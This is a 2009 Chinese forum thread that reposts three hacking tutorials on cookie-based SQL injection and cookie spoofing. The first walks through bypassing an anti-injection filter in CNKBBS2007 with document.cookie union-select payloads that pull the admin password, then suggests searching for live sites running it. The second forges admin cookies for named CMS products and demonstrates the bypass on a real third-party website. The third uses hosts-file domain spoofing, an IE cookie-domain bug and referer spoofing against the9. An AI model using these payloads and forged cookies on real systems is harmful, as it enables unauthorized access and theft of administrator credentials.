【极品】cookie注入分析

社区服务
高级搜索
猴岛论坛电脑百科【极品】cookie注入分析
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
2个回复

【极品】cookie注入分析

楼层直达
仰望、那片天空

ZxID:9350867

等级: 少校
举报 只看楼主 使用道具 楼主   发表于: 2009-11-10 0
在别的地方看见的觉得比较好,和大家分享了...(可以申精么)
cookies的注入方法和原理

现在很多网站都采用了通用防注入程序,那么对于这种网站,我门是否就束手无策了呢?答案是否定的,因为我们可以采用cookie 注入的方法,而很多通用防注入程序对这种注入方式都没有防备。
在讲之前,我们还是来回顾下ASP脚本中Request对象的知识吧,上面几讲中都提到Request对象获取客户端提交数据常用的是GET和POST二种方式,同时request对象可以不通过集合来获得数据,即直接使用"request("name")"但它的效率低下,容易出错,当我们省略具体的集合名称时,ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,在request对象成员中集合cookies,它的意思是"读取用户系统发送的所有cookie值,我们从第二讲关于"cookies欺骗入侵和原理"中知道,cookies是保存在客户端计算机的一个文本文件,可以进行修改,这样一来,我们就可以使用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击.
我们首先还是来看看中网景论坛的最新版本"(CNKBBS2007)中网景论坛2007v5.0 "官方下载地址"http://www.cnetking.com/websys2.asp?id=26"发布时间是2007-06-06,打开系统的源代码后,在"user_RxMsg_detail.asp"文件中,有如下代码:
<!--#include file="opendb.asp" -->
(调用opendb.asp文件)
<!--#include file="char.asp" -->
<%
Call CheckUserLogin(username)
Dim action,s,id
id=request("id")
(获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交)

if id<>"" then Call IsNum(bid) (这是程序员的出现地方,注意bid<>id)
conn.execute("update cnk_Users_RxMsg set readed=1 where id="&id) '设置已读
rs.open "select * from cnk_users_RxMsg where id="&id,conn,1,3
我们再打开"opendb.asp"文件
<%Option Explicit
Response.Buffer = true%>
<!--#include file="fzr.asp" -->(调用fzr.asp文件)
<!--#include file="cnkdata/dbname.asp" -->
<!--#include file="config.asp"-->
..................
以现它是连接数据库的文件,其中调用了fzr.asp文件,我们再打开fzr.asp文件
<%
'--------版权说明------------------
'SQL通用防注入程序
'Aseanleung
'--------定义部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then
(对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)

'自定义需要过滤的字串,用 "|" 分隔
Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script"(阻止了常用的SQL注入的语句)
Fy_Inf = split(Fy_In,"|")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!!<br>"
Response.Write "如是要攻击网站,系统记录了你的操作↓<br>"
Response.Write "操作IP:"&zruserip&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&Fy_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(Fy_Get)
......................

很明显的看出它是一个SQL通用防注入程序文件,(以上的红字是对代码的解释)
代码看好了,我们来整理下思路:由于程序员的出错,导致了id没有被过滤就被带到SQL语句中查询,这是注入漏洞产生的原因,虽然程序引入了防注入程序,阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,这样导致了客户可以使用Request.cookie方式来提交变量的值,而绕过了SQL防注入程序
(总结下:cookie注入产生的条件:系统直接使用"request("name")"获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie,现在防注入程序3.0只是对客户采用GET和POST提交方式进行了限制).


原理讲好了,下面我们来学学coolie注入语句吧


cookies的注入语句:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"));



这儿用到了javascript语言的知识,我把这语句的意思分解如下,以便大家理解:

1:"alert()"显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮.(我们在跨站中常用到)

2:"document.cookie""我们在处理cookie时,javascript将它保存为document对象的一个属性,其属性名称是cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用:"alert(document.cookie)"调用当前页面的cookie数据项值.在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写HTTP的cookie;字符串类型

3:escape()函数;它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能.一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器,但是,利用javascript,可以在本地浏览器中设置cookie格式:name=value的属性是指定cookie数据项的名称,value是该名称对应的值,它是一个字符串,也可是由一系列字符组成,name和value中不能包含分号,逗号及空白,(50"and 1=1")有分号,逗号及空白,所以我们要用到escape()函数对他们进行编码


上面整句的意思大家都明白了吧,就是设置调用当前创建的cookie数据项值,在设置cookie时,它们首先保存在浏览器的内存中,退出浏览器时,才能被写入到硬盘中.(这就是在下面操作中为什么在退出后,再输入链接的地址原因)


最后我们来测试下,利用步骤:

1:打开在本地机子上架设的中网景论坛:注册一个用户,我们就会收到管理员发来的一条短信息,我们打开短信息的链接(注意这儿的参数id值)

2:把浏览器的URL清空,输入"alert(document.cookie="id="+escape("相应参数id值 and 1=1"));之后会弹出一个框框,

3:再次输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(返回正常的页面,说明我们绕过了SQL防注入程序了)

3:再输入:alert(document.cookie="id="+escape("1 and 1=2"));然后再输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员(时间和内容都没有显示了,说明我们可以进行注入了)


4:通过查看系统数据库,得知cnk_users_RxMsg 表里有8个字段,Cnk_Admin表是存放管理员资料的,其中AdminName,AdminPassword字段分别对应的是账号和密码,我们使用联合查询语句,再输入:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,4,5,6,7,8 from Cnk_Admin"))然后把地址栏清空,输入http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp,可经看到显示了数字4和5


5:再次把地址栏清空,输入:alert(document.cookie="id="+escape("1 and 1=2 union select 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin")),提交后,清空地址栏,输入:http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=论坛管理员,这样我们就在页面上看到管理员的密码和账号了,

6:把得到的密码放入http://www.cmd5.com网站查询,得知管理员的明文密码是admin,在网站的首页我们就可进行登录后台了,我们也可利用关键字"Powered by CNKBBS2007 (5.2)"去网上找使用这系统的网站,(不过不是很多啊)大家去练习下手工的注入吧,可别搞在破坏哟!不过在使用这类注入时,它需要两次手动操作才能完成,这也是容易出错的地方,可要细心才行.

仰望、那片天空

ZxID:9350867

等级: 少校
举报 只看该作者 沙发   发表于: 2009-11-10 0
cookies欺骗入侵和原理
大家好,我是初学者,在上一讲"经典漏洞('or'='or')再现和原理"中,我们利用程序员在编程时,逻辑上考虑不周,构造一些特殊的语句,绕过程序的验证,不需输入密码就可直接登录到后台,今天我要讲的是另一种同样的方法,就是通过伪造cookies,绕过程序的验证,也不需要输入密码,同样也可进入后台.

  一:认识cookies

  1:首先我们要了解什么是"cookies".cookies是保存在客户端计算机,也就是运行了浏览器的计算机中的一个小文本文件,它用于WEB站点在用户的计算机上保存信息并以后再取回它,这些信息通常采用"名-值"对应的方式存储.cookies是一个文本文件,可以进行修改,是存储在我们本地的计算机上的,它伴随用户请求的页面在WEB服务器与浏览器之间的传递,用户每次访问网站的时候,WEB应用程序都可以读取cookies包含的信息,使用cookies能够达到网站认识你的目的,从而避免用户在登录网站时重复多次输入信息(用户名,密码等),目前,在一些电子商务网站上普遍使用.

  2:我们可以在查看自己的电脑上cookie文件,对于使用windows操作系统的IE浏览器的用户可以在自己电脑的C:\Documents and Settings\用户名\Cookies目录中找到,我们可以用IEcookieView工具来查看,一打开后就可以直接看到本地机子上所有的cookies文件,我们可以点击baidu.comm,在下面的框架中就出现一行的数值,再点BAIDUID这个文件,单击右键出现两个选项,一个是"properties,另外一个是"Edit the cookies's conten"我们可以用到这二个功能查看和修改cookie的值了,使用起来很低方便.通过上面的了解,我们对cookies有了初步的认识了吧,下面,我们就开始从代码分析来看欺骗的形成

  二:验证代码的分析,首先,我还是和大家一起来简单学习下ASP脚本的知识吧,在ASP中内置的对象有Request和Response等,Request对象的功能是获取客户端提交的信息,而Response对象的功能则相反,它是用于服务器端的数据发送到客户端的浏览器上,Request对象分GET和POST两种方法获取提交的数据,它对应的集合分别为"QueryString"和"From",而在Response对象中用到最多的方法就是"Write"了,它直接向用户浏览器输出信息,为了大家理解,我用记事本简单编写了一个asp文件,代码如下:

<%

Response.Write"我是第一次编写ASP"

%>

把它保存为1.asp文件后,放到我们的IIS的主目录下,我们在浏览器地址栏里提交http://127.0.0.1/1.asp,在返回的页面上,大家就可以看到"我是第一次编写ASP",还有一个方法是"redirect"它能够快速地将网页重新定位到一个新的地址上.有了以上的简单的知识,(其实,在上一讲中,我们也用到了这些知识)我们就可以去分析一些比较简单的验证代码了,下面,我先从最简单的一个cookies验证代码中去怎么发现漏洞所在和利用,我们用"JIMMY中文站留言簿 v1.08"这套系统中的后台登录验证页面"chkmanage.asp"(这有一技巧,查看验证文件一般以"chk"开头后面加上表名)

<%

if request.cookies("lunjilyb")("username")="" then

response.redirect "login.asp"

end if

(获取cookies中username的值,并判断其KEY值是否为空,为空的就转到"login.asp"页面)

if request.cookies("lunjilyb")("password")="" then

response.redirect "login.asp"

end if

(获取cookies中password的值,并判断其KEY值是否为空,为空的就转到"login.asp"页面)

if request.cookies("lunjilyb")("randomid")<>12 then

response.redirect "login.asp"

end if

(获取cookies中randomid的值,并判断其KEY值是否=12,若不等于12,就转到"login.asp"页面)

%>

  从上面的分析中,我们可以看出逻辑上出了问题,程序判断从客户端获得的用户名和密码是否为空,如果有一个为空就转到"login.asp"页面,最后还判断用户的id是不是12,如果不是12也转到"login.asp"页面,我们就要用户名和密码不为空,且id=12就可发进行cookies欺骗登录了,有了这个思路,我们就可以构造如下语句:ASPSESSIONIDSQSRTSDC=DMJDAGLBOJNGBIGJPJAHIPOA; lunjilyb=randomid=12&password=jkh&username=jkh,就可不用知道后台管理员的用户名和密码,而直接进行登录了,

  三:实践操作,原理讲了这么多,下面我们来实际操作下吧,我先在自己的机子上打开网站,进入后台登录页面,要求输入用户名和密码(这当然是肯定的哟)若不用输入用户名和密码进行登录,怎么操作呢?这儿我们要用到一款"桂林老兵cookies的欺骗工具"打开工具后,我们在address栏中输入后台管理员登录的页面地址:http://127.0.0.1/JIMMY/admin-index.asp(不是后台登录的页面地址:/login.asp),然后点上面黄色小锁的按钮,这样我们就可把修改好的cookies复制到框里,再点右边的"连接"按钮,看,我们直接就进入了后台登录的页面.就这么简单,至于怎么拿网站的WEBSHELL就不在本课的范畴中了,


  四:继续深入:"商贸通2006地方门户版系统"中后台登录验证

Chkadmin.asp文件中一段代码如下:

.......省略

if password=rs("SMT_password") and nick=rs("SMT_nick") then

判断用户提交的password和nick是否和查询所得的SMT_password,SMT_nick相同,完全相同的


Response.Cookies("adminID")=rs("SMT_id")


Response.Cookies("admin")=rs("SMT_nick")


Response.Cookies("adminflag")=rs("SMT_flag")

就把管理员的SMT_id,SMT_nick,SMT_flag的相应字段值以cookie的形式存储在客户端中,

response.redirect "manage.asp"

只要用户提交的cookie值和管理员的SMT_id,SMT_nick,SMT_flag这三个字段的值一致就转到"manage.asp"页面.


...........省略以下

  我们现在整理下思路,代码的意思是:首先程序判断我们提交的密码和用户名是否和数据库中保存中的密码和用户名字段值相同,若相同,就把管理员的SMT_id,SMT_nick,SMT_flag的相应字段值以cookie的形式存储在客户端中,其次只要用户提交的cookies值和管理员的SMT_id,SMT_nick,SMT_flag这三个字段的值一致就转到"manage.asp"页面.而没有判断SMT_password字段的值,好了,思路清楚后,我们就可以进行入侵了,我们先把管理员SMT_id,SMT_nick,SMT_flag这三个字段的值找出来,打开系统的数据库,找到管理员的表,再打开后发现SMT_id字段对应的值是"5",SMT_nick字段对应值是"admin"SMT_flag字段对应值是"1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1"这样我们就把cookies值改为:adminID=5;admin=admin;adminflag=1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;

现在就以http://www.fstcb.com/这个网站为例吧,我们打开"桂林老兵cookies的欺骗工具"在address栏中输入管理员登录的页面地址:http://www.fstcb.com/admin/manage.asp,然后点上面黄色小锁的按钮,我们把修改好的cookies:adminID=5;admin=admin;adminflag=1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1;

复制到框里,再点右边的"连接"按钮,看,我们直接就进入了后台登录的页面.

  最后说下,目前"桃源网盘""飞天论坛"F-BLOG"Cnmai二手信息发布""心情网络投票"良精商城网店"等网站系统都一定程度上存在cookies验证上的漏洞,这就看大家自己去挖掘了.
仰望、那片天空

ZxID:9350867

等级: 少校
举报 只看该作者 板凳   发表于: 2009-11-10 0
cookies欺骗原理
现在有很多社区网为了方便网友浏览,都使用了cookie技术以避免多次输入密码(就如the9和vr),所以只要对服务器递交给用户的cookie进行改写就可以达到欺骗服务程序的目的。
COOKIE欺骗原理
按照浏览器的约定,只有来自同一域名的cookie才可以读写,而cookie只是浏览器的,对通讯协议无影响,所以要进行cookie欺骗可以有多种途径:

1、跳过浏览器,直接对通讯数据改写
2、修改浏览器,让浏览器从本地可以读写任意域名cookie
3、使用签名脚本,让浏览器从本地可以读写任意域名cookie(有安全问题)
4、欺骗浏览器,让浏览器获得假的域名
其中:
方法1、2需要较专业的编程知识,对普通用户不太合适。
方法3的实现有2种方法:
1、直接使用签名脚本,不需要签名验证,但是产生很严重的安全问题,因为大家都要上网的,如果这样做你的硬盘文件就……

2、对脚本进行签名后再使用签名脚本,但是需要专用的数字签名工具,对普通用户也不合适。
方法4看样子应该是最合适的了,域名欺骗很简单,也不需要什么工具(当然如果你的机器装有web服务器那更好了),下面我以the9为例,以这种方法为基础,阐述一下cookie欺骗的过程(下文中提到的任何服务端的bug,the9都已经做了改进,所以本文对the9无安全方面的影响):

注:我们讨论的cookie是那种不会在硬盘的cookie文件里留下踪迹的cookie,就是那种只在浏览器生存周期内(会话)产生的cookie,如果浏览器关闭(会话结束)那么这个cookie就被删了! 

COOKIE欺骗实战
the9在登陆的时候会返回3个cookie(这可把浏览器的警告cookie选项打开时看到):
cgl_random(随即序列号):登陆识别的记号
cgl_loginname(登陆名):身份的识别记号
cgl_areaid(小区号):你居住的小区号码
只要把cgl_loginname填入正确的登陆名,再对cgl_random进行修改,就可以达到欺骗服务程序的目的。

一般欺骗php程序的字符串为:
1""or""1""=""1
把这个填入cgl_random,服务程序就被欺骗了!
因为服务程序不太可能对cookie进行语法检查(the9现在改进了),那么把这个字符串填入,就可以成功的欺骗对方程序,而达到突破的目的了!

现在的问题是,如何使浏览器把这个我改过的cookie返回给the9?
看一看the9的域名吧:
http://www.the9.com/,而浏览器的cookie警告已经告诉了我们这3个cookie会返回给有.the9.com这个域名的服务器,哎?我的机器上正好有web服务器,那么动手吧!

先编一个设置cookie的html,就叫cookie.htm吧,然后把这个cookie放进web目录,这样还不行,因为我的机器的域名没设,那么设置host的名字,可是如果在网络设置中进行设置的话,机器要重启动的,还是想想别的简单的办法吧!

然后我们应该编辑hosts文件,这个文件应该在windows目录下,你有可能找不到它,但是如果你找到了hosts.sam文件,那么把它后面的扩展名去掉,就是我们要的文件了!

编辑hosts文件,填入以下一行:
127.0.0.1 www0.the9.com
解释一下,127.0.0.1是本机的lo地址,可以用做web地址,而www0.the9.com就是我们欺骗产生的域名。

然后在浏览器中输入
http://www0.the9.com/cookie.htm,看,页面出来了,快设置cookie吧!
直接访问http;//www.the9.com/main.htm看看,不错吧!

但是不是所有的网友都有自己的web服务器啊!那怎么办呢?
其实如果你有个人主页的话,也可以达到cookie欺骗的目的,比如某个个人主页的服务器的ip地址是1.2.3.4,先上传cookie.htm文件,再编辑hosts文件:

1.2.3.4 www0.the9.com
然后访问
http://www0.the9.com/***/cookie.htm,其中***是你个人主页的地址目录。

对了我作了个工具在我的主页上,现在公开一下,
http://home.etang.com/fsl/9the/,大家知道该怎么做了吧?嘿嘿,不过你那样设置是没有用的,要这样编辑hosts:

etang的ip www.the9.com
the9的ip www0.the9.com
为什么要这样呢?我等会会告诉大家的

继续the9的cookie讨论,还有2个cookie:
cgl_mainshowinfo(个人信息)
cgl_showinfo_changed(意义不知)
由于第二个cookie不知道是什么,所以就讨论第一个。
第一个cookie存放着你在the9的名字、称号、居住的小区、街道、是否有工作、星级、门牌号等的信息(目前只知道这些,其余的信息不知其意义,具体格式就让给大家去分析了),但是中文都escape过了,如果你用的不是netscpae而是ie的话,不能用unescape得知其信息,因为ie对双字节采用unicode而不采用ascii,如果哪天the9也支持unicode就好了!:),但是其他网站站长注意了,你们可通过cgi的形式把这些the9居民信息抓过来实现数据共享!哈哈……,如果你们真要这么做,就只有使用签名脚本了,总不能让别人编辑hosts吧(不过得注意版权哦!)?


ie的cookie漏洞:
如果你用的是ie的话,由于ie本身的漏洞,你大可不必编辑hosts,就可以同样做到读写别的域名的cookie,你可以使用以下的方法欺骗ie(具体的可以去www.cookiecentral.com看看):

假设你的主页文件为 http://a.com/cookie.htm
使用以下url: http://a%2Ecom%2Fcookie%2Ehtm%3F.the9.com
如果直接输在浏览器地址栏里不行,就作个script,把location的值设为这个就可以了!
这个地址转换后应该是这样的: http://a.com/cookie.htm?.the9.com
由于ie的bug,误把前面那个的域名以为是.the9.com了!

hosts文件解释
hosts文件实际上可以看成一个本机的dns系统,它可以负责把域名解释成ip地址,它的优先权比dns服务器要高,它的具体实现是TCP/IP协议中的一部分。

如果有这么一行:
202.109.110.3 www.the9.com
那么在输入www.the9.com时,网络协议会首先检查hosts文件找到匹配的,如果找不到再去dns查,这样你访问www.the9.com实际上是访问202.109.110.3,而不是通常的202.109.110.2。

注:由于缓存的作用,如果开着浏览器编辑hosts的话,hosts里的内容有可能不会当场生效,你可以重新启动浏览器或等一会时间再试一下!

关于REFERER的欺骗(这个虽然不属于cookie欺骗,但是懒得再写一篇,就归在一起了)
referer是http头,它的作用是签定用户是从何处引用连接的,在the9,服务程序就充分利用了这一点,如过你是手动输入url的话,那么referer不会设任何值,服务程序就返回什么“投机取巧”的字样!

由于我们前面对浏览器进行了域名欺骗,那么referer也被欺骗了,但是服务程序对referer是整个主机名检查,所以www0.the9.com的域名就欺骗不了服务器,所以得用www.the9.com欺骗,那么还得设一个域名方便我们访问the9,而且还得让cookie返回给这个真的the9,那么就用www0.the9.com吧!(这回知道前面访问我主页工具时要那样编辑hosts了吧?)

如果你用了这个方法的话,那么你就不能直接点击the9的连接,而得用工具中的地址欺骗来进行访问,至于这样做的好处,大家自己找找吧,我就不想详细说了,太累了!

关于netvampire:
这个下载工具大家都知道吧?那么它的3.3版大家用过吗?很棒的!因为它可以直接让大家改变下载连接的referer,而且它还能继承浏览器的cookie,把cookie返回给服务端(不过cookie不能改,如果能改的话,这个工具就太………………)

后记
好了关于cookie及referer就说到这了,在这个星期以前利用cookie欺骗的话the9的门户可是大开的(当然似乎还有通用密码什么的),不过the9虽然改进了,我不能保证其他社区网也改进了,当然本文只是探讨技术,不负什么法律责任。
« 返回列表
发帖 回复